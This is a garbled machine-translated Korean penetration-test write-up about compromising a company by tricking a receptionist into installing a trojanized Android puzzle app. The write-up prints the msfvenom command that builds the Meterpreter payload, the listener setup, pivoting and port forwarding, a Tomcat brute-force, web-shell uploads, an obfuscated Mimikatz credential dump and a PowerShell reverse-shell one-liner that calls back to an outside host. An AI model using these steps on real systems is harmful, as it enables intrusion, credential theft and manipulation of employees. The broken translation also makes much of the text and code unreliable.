스마트폰 보안 (i)-골든 티켓을 apk 회사: 초기 검색, 안 드 로이드 스마트폰 얻을에서 도메인 관리자 권한을, 그리고 심지어 더...
이 문서에서는 설명 합니다 개인 스마트폰을 사용 하 여 회사 네트워크에서의 잠재적인 위험 그리고 실제 경우 후 이러한 경우 일반적인. 그것은 끈다 그것의 하지 트릭을 우회 네트워크 보호, 악성 응용 프로그램을 설치에 직원 어려운 회사 네트워크, 권리, 요구 하 고 기밀 정보에 액세스.
또한, 그것은 발견 되지 않고 바이러스 방지 소프트웨어를 포함 하 여 모든 보호 메커니즘을 우회할 수 증명 합니다. 공격자는 시스템의 도구와 너무 많은 외부 도구에 의존 하지 않고 공개적으로 액세스할 수 있는 스크립트를 사용 하 여 무시할 수 있습니다.
이것은 우리가 자주 부르는 아니 전략 (간단한 바보 유지)
그것은 우연이 그 다음 이야기의 공통점 아무것도 실제 이벤트 또는 진짜 사람들입니다.
배경
"슈퍼 회사" 고용의 직원, 사회 공학 평가 하 우리의 침투 테스트 엔지니어 및 테스트의 범위는 그로 인하여 직원을 활용 하 여 기밀 정보를 모든 수단을 찾을 수
내부 회의 우리는 방문자에 대 한 WiFi에 대 한 액세스를 요청합니다. 그래서 로그온이 필요한 바우처를 유효한 단지 1 일에 대 한 게스트 WiFi 보호 됩니다.
일단 WiFi 연결 된 우리 fing 아이폰에서 빠른 검사 시작: 우리는 발견 몇 가지 안 드 로이드 장치 분명히 회사 방문자 수보다 더 많은. 우리는 심지어 회사 직원 WiFi 사용 생각 한다. 그들 계획은 중요 한 데이터를 저장할 수 있습니다. 사실, 우리에 게 로그인 바우처를 준 접수 우리가 네트워크를 액세스 하는 방법을 물었을 때 WhatsApp을 얘기 했다.
장면: 두 전화 테이블, 깔끔한 바탕 화면, 3-포트 사진에 있습니다.
간단한 대화 후 나는 그녀의 딸 이었지만 4 년 오래 된와 매우 적극적인 만큼 그녀는 진정 게임 스마트 전화 했다 배웠습니다. 아, 지금 아이 들...
공격 설명
사회 공학 비참 하 게 실패 소형 어 캠페인을 시작 했다. 우리가 찾은 그 회사 직원 우리 공격 하기 전에 훈련 되어, 첨부 파일, 다운로드 및 다른 행위는 강한 경계, 우리 시작은 좋지 않다.
그래서 우리는 접수에 집중 하기로 하 고 우리의 목표는 그녀를 그녀의 아이 들을 위한 안 드 로이드 애플 리 케이 션을 다운로드 했다 어떤 것 보다 더 재미 있을 아이 들을 위한 퍼즐, 어? 우리 같은 퍼즐.
접수의 개인 이메일을 찾기 매우 쉽습니다, 우리는 다운로드 페이지로 이동 하는 링크와 함께 이메일을 준비 했습니다. 우리 또한 메일, 2 차원 코드는 넣어로 그림 스캔으로 설치 될 수 있다.
그것은 귀 엽 고, 안 그래? 쉽게 악성 안 드 로이드 애플 리 케이 션을 설치 하는 것입니다 우리의 목표, 응용 프로그램은 정말 그냥 meterpreter 쉘 내부 직소 퍼즐
목표는 스마트폰에 대 한
악성 안 드 로이드 응용 프로그램을 작성 하는 것은 매우 간단 합니다, 우리는 일반적인 응용 프로그램을 다운로드 하 고 Msfvenom를 사용 하 여 페이로드 Meterpreter 포탄을 주입 하
Msfvenom x puzzle.apk p 안 드 로이드/meterpreter/reverse_tcp lhost = lport=443-o/var/www/html/puzzle.apk
이유는 80와 443 포트는 일반적으로 표준은 포트 443을 사용 하 여 수신 포트를 방화벽에 의해 허가
우리는이 애플 리 케이이 션 것 이다 접수 충분 한 관심 주고 설치 하는 동안 경고를 무시 믿습니다.
우리의 호스트에 수신기도 켜져:
Msf > 악용/멀티/처리기를 사용 하 여
MSF 악용 (처리기) > 설정 중 안 드 로이드/meterpreter/reverse_tcp
페이로드 = > 안 드 로이드/meterpreter/reverse_tcp
MSF 악용 (처리기) > 설정 Lhost
Lhost = >
MSF 악용 (처리기) > 설정 Lport 443
Lport = > 443
MSF 악용 (처리기) > 악용-j-Z
[*] 에 시작된 역 TCP 핸들러: 443
개인적인 목적을 위해 WiFi를 사용 하는 회사의 직원의 활용, 우리 회사 근처 안테나를 넣어 싶습니다.
Meterpreter를 사용 하 여
약 8:00 아침에, 나는 Msfconsole에 메시지를 받았습니다.
[*] 열어 Meterpreter 세션 1 (: 443-> x.x.x.x:51990)에서...
빙고! 그녀 설치 악성 안 드 로이드 프로그램을 실행 하 고 우리는 지금 Meterpreter 세션을가지고
이제 우리는 그녀가 회사의 WiFi 네트워크에 연결 된 경우 알고 있어야 합니다. IP 검색 결과 셀룰러 네트워크에서 연결 되어, 그녀는 사무실에 그녀의 방법에 있을 수 있습니다, 아마도 그녀의 딸은 직소 퍼즐을 나타냅니다.
세션은 오래 지속 되지 않았다 고 우리 셸을 몇 분 후, 잃었지만 9 시 전에 우리가 받은 또 하나:
[*] 열어 Meterpreter 세션 2 (: 443-> k.k.k.k:61545)에서...
IP는 그녀가 회사의 WiFi 네트워크에 연결 하는 것을 의미 한 회사입니다.
우리 시작 몇 스마트폰를 제외 하 고 몇 가지 초기 프로브, 그래서 우리는 다른 서브넷에 DNS 서버를 발견.
Meterpreter > ipconfig
...
인터페이스 9
============
이름: wlan0-wlan0
하드웨어 Mac: 20:6e:9 c: 75:94:ba
IPv4 주소: 10.118.1.13
IPv4 netmask:255.255.255.0
IPv6 주소: FE80::226E:9CFF:FE75:94BA
IPV6 네트워크 마스크::
...
Meterpreter > 쉘
1 생성 과정입니다. 채널 생성 1입니다.
Getprop net.dns1
192.168.178.196
10.118.1.0/24, DNS 서버가 다른 서브넷에 동안에 게스트 WiFi 네트워크
서브넷에 액세스 하려면 우리는 라우팅 구성
악용 (처리기) > 경로 추가 192.168.178.0 255.255.255.0 1
NMAP 스캔을 수행할 수 없습니다, 그래서 우리가 빠른 핑 검사 proxychains 사용
MSF 보조 (SOCKS4A) > 보조/서버/socks4a를 사용 하 여
MSF 보조 (SOCKS4A) > 보기 옵션
모듈 옵션 (보조/서버/SOCKS4A):
이름 현재 설정 설명 필요
-----------
Srvhost 0.0.0.0에서 수신 대기 하도록 예
Srvport 1080 포트에서 수신 대기를 네.
# 공격자 Proxychains nmap-sn 192.168.178.0/24 DNS 네트워크
Nmap 스캔 192.168.178.195
호스트 (0.15s 대기 시간)입니다.
Nmap 스캔 192.168.178.196
호스트 (0.22s 대기 시간)입니다.
호스트는 ping 검사에 응답
우리는 빠른 TCP 스캔을 할에 갔다.
MSF 악용 (처리기) > 사용 보조/스캐너/PORTSCAN/TCP
MSF 보조 (TCP) > 설정 RHOSTS 192.168.178.195,196
MSF 보조 (TCP) > 설정 Rports 1-1024
MSF 보조 (TCP) > 실행
192.168.178.195:–192.168.178.195:80–tcp 오픈 [*]
192.168.178.195:–192.168.178.195:8080–tcp 오픈 [*]
192.168.178.196:–192.168.178.196:53–tcp 오픈 [*]
이것은 현재의 네트워크 환경 구조의 우리의 가정 이다:
대상 인트라넷 서버
호스트 192.168.178.195 80, 8080 포트를 열어, 우리가 전달 포트 로컬 그래서 우리는 로컬 네트워크 트래픽을 분석할 수 있는
meterpreter > portfwd 추가 l 127.0.0.1-l 8001-r 192.168.178.195-p 80
meterpreter > portfwd 추가 l 127.0.0.1-l 8002-r 192.168.178.195-p 8080
포트 80 노출 회사의 전화 번호부, 그리고 우리 아직도 왜 그들은 게스트 네트워크에 그것을 노출 거 야 모르겠어요.
그래서 우리는 8080 포트를 확인 하기로 아무 명백한 취약점을 발견 하는 빠른 검사
우리가 아파치 톰캣, 히드라와 발 파의 기본 인증을 발생 하 고 몇 분 후 우리 관리자/password123456로 시스템에 로그인.
이제 우리는 Tomcat 관리 콘솔도 회사의 번호 책 게스트 네트워크에 노출 되어야 하기 때문에 방화벽 구성 오류 해야 Tomcat 관리 콘솔에서
기본 운영 체제와 상호 작용 하는 Tomcat에 쉘 업로드 계획입니다. 서버 지문 우리가 다루는 것 윈도 즈 서버를 나타냅니다.
우리 전쟁-아카이브 laudanum 주 사용 웹 공격 코드와 고 관리자 페이지에 WAF 파일 업로드를 포함 하 여:
Cmd.jsp: Cmd.exe와 상호 작용 하기 위한
M.PS1: 혼란 및 잡아 암호 및 해시에 대 한 mimikatz.ps1
그것의 융통성 때문에 PowerShell 스크립트를 혼동 하는 것은 쉽다, 몇 가지 잘 알려진 난독 처리 기법, 우리 그냥 뭔가 호출 mymy를 Invoke mimikatz 등 몇 가지 키워드를 변경, 참조에 대 한 다른 몇 가지 팁을 있다.
우리는 또한 추가 호출 mymy dumpcreds 파일의 끝에 함수는 직접 실행
업로드 후, 우리는 브라우저에서 cmd.jsp을 방문 했다
하!는 사용자가 시스템 권한으로 서비스를 실행 하 고 있다 그리고 우리는 정보를 수집 계속. 첫째, 환경 변수를 수집.
명령 CMD/C 세트
결과 다음과 같습니다.
Allusersprofile = c:\programdata
Computername = srvintranet
Userdomain = supercompany
사용자 이름 = srvintranet$
이제 우리는 동시에 컴퓨터 이름 Srvintranet, 그것은 완벽 한 Supercompany 도메인에 속한다.
계속 SystemInfo를 사용 하 여 추가적인 유용한 정보를 검색:
명령: SystemInfo
결과:
호스트 이름: srvintranet
운영 체제 이름: 마이크로소프트 윈도 즈 서버 R2 표준
운영 체제 버전: 6.3.9600 빌드 9600 없음
OS 제조자: 마이크로소프트 법인
운영 체제 구성: 구성원 서버
운영 체제 빌드 유형: 다중 프로세서 무료
등록 된 소유자: 윈도 사용자
...
다음은 도메인 컨트롤러
명령: cmd/c nltest / dclist:supercompany
결과:
'Supercompany' \\srvdc1′ 도메인에 있는 Dc의 목록을 얻을.
SRVDC1.SUPERCOMPANY.LOCAL [PDC] [Ds] 사이트: 기본-첫 번째-사이트-이름
srvdc2.supercompany.local [Ds] 사이트: 기본-첫 번째-사이트-이름
명령을 성공적으로 완료
이 시점에서, 안 드 로이드 장치 열 시작 수 있습니다 그리고 우리가 더 적절 한 껍질 이동 해야 합니다. 안 드 로이드 장치는 더 이상 우리의 작업 적합.
우리의 황금 규칙은: 숨겨진 유지 하 고 바이러스 백신 소프트웨어를 방지. 그래서 우리는 PowerShell, Srvintranet는 인터넷에 액세스할 수 있을 것 이라고 기대에 따라 셸 사용.
톰캣에 Webshell 통해 우리 PowerShell 뒷문을 설치, 우리의 공용 네트워크 서버 Netcat 80 포트를 듣고 하면서 단방향 반환 명령 실행
CMD/C powershell-nop-c "$c = 새 개체 Net.Sockets.TCPClient (", 80); $s = $c. GetStream (); [바이트 []] $b =0..65535|%{0};while ($i = $s. 읽기 ($b, 0, $b. 길이))-ne 0) {; $d = (새로운-개체-typename System.Text.ASCIIEncoding)입니다. GetString ($b, 0, $i); $SB = (전류 구동 $data 2 > & 1 | -문자열) $SB 2 = $sb + 'PS' + (PWD). 경로 + ' > '; $SB = ([Text.encoding]::ascii). GetBytes ($SB 2); $s. 쓰기 ($SB, 0, $SB. 길이);
$s. (플러시)}; $c. ()를 닫습니다 "
이 스크립트의 기능 이란 무엇입니까? PowerShell을 시작할 때 다음 명령을 실행: TcpClient 개체를 만들고, 반대로 우리의 기계, 오픈 I/O 스트림, 그리고 입력을 수행 하기 위해 사용 invokeexpression에 연결
우리이 시간 그래서 운이 아니, 리버스 쉘 못해서. 이 서버 수에 연결 되지 않을 인터넷, 그래서 우리는 다시 Tomcat Webshell 차례 혼란 Mimikatz 설치
CMD/C Powershell executionpolicy 우회-f C:\tomcat\webapps\cmd\warfiles\m.ps1
.#####. Mimikatz 2.1 11 월 10 2016에 내장 된 (x64) 15시 31분: 14
.## ^ ##. "La Vie는 L ' 아무르"
## / \ ## /* * *
# # #/ # # 벤자민 델피 'Gentilkiwi' (benjamin@gentilkiwi.com)
' # # v # # Http://blog.gentilkiwi.com/mimikatz (Oe.eo)
' # ' 모듈 * * * *
Mimikatz (PowerShell) # Sekurlsa::logonpasswords
인증 id: 0; 191734 (00000000:0002ECF6)
세션: 1에서 인터랙티브
사용자 이름: 관리자
도메인: srvintranet
로그온 서버: srvintranet
로그온 시간: 2/17/2017 오후 2시 12분: 31
sid:s-1-5-21-938204560-2839928776-2225904511-500
MSV:
[00010000] Credentialkeys
* NTLM:604603AB105ADC8XXXXXXXXXXXXXXXXX
* SHA1:7754FF505598BF3XXXXXXXXXXXXXXXXXXXXXXXXX
[00000003] 기본
* Username:administrator
* 도메인: srvintranet
* NTLM:604603AB105ADC8XXXXXXXXXXXXXXXXX
* SHA1:7754FF505598BF3XXXXXXXXXXXXXXXXXXXXXXXXX
TSPKG:
Wdigest:
* Username:administrator
* 도메인: srvintranet
* 암호: (NULL)
Kerberos:
* Username:administrator
* 도메인: srvintranet
* 암호: (NULL)
Ssp:ko
CredMan:
Mimikatz (PowerShell) # 출구
안녕!
우리는 로컬 관리자의 암호 해시 이지만 없습니다 일반 텍스트. 이것은 우리의 대상 서버는 윈도우 서버 2012, 고 2008 일 변경 후 wdigest 자격 증명은 더 이상 (하지만 좋은 오래 된 일을 보고 도울 수 없어요) 일반 텍스트에 저장 하기 때문에, 또한 CredMan 비어. 어쨌든,이 발견은 나쁘지 않습니다.
우리는 서버 불안정 안 드 로이드 전화를 통해 우리는 여전히 노력 하기 때문에 인터넷에 액세스할 수 있을 것 이다를 찾을 하기로 했다.
Net view 명령을 우리가 얻을 사용 가능한 공유 서버 목록
서버 이름 말
---
\\SRVDC1 도메인 컨트롤러 PDC
[4] \\SRVDC2 도메인 컨트롤러
\\SRVWSUS 서버 WSUS
\\SRVAV 서버 AV
\\SRVFILE1 파일 서버
이것은 실제 서버 네트워크입니다.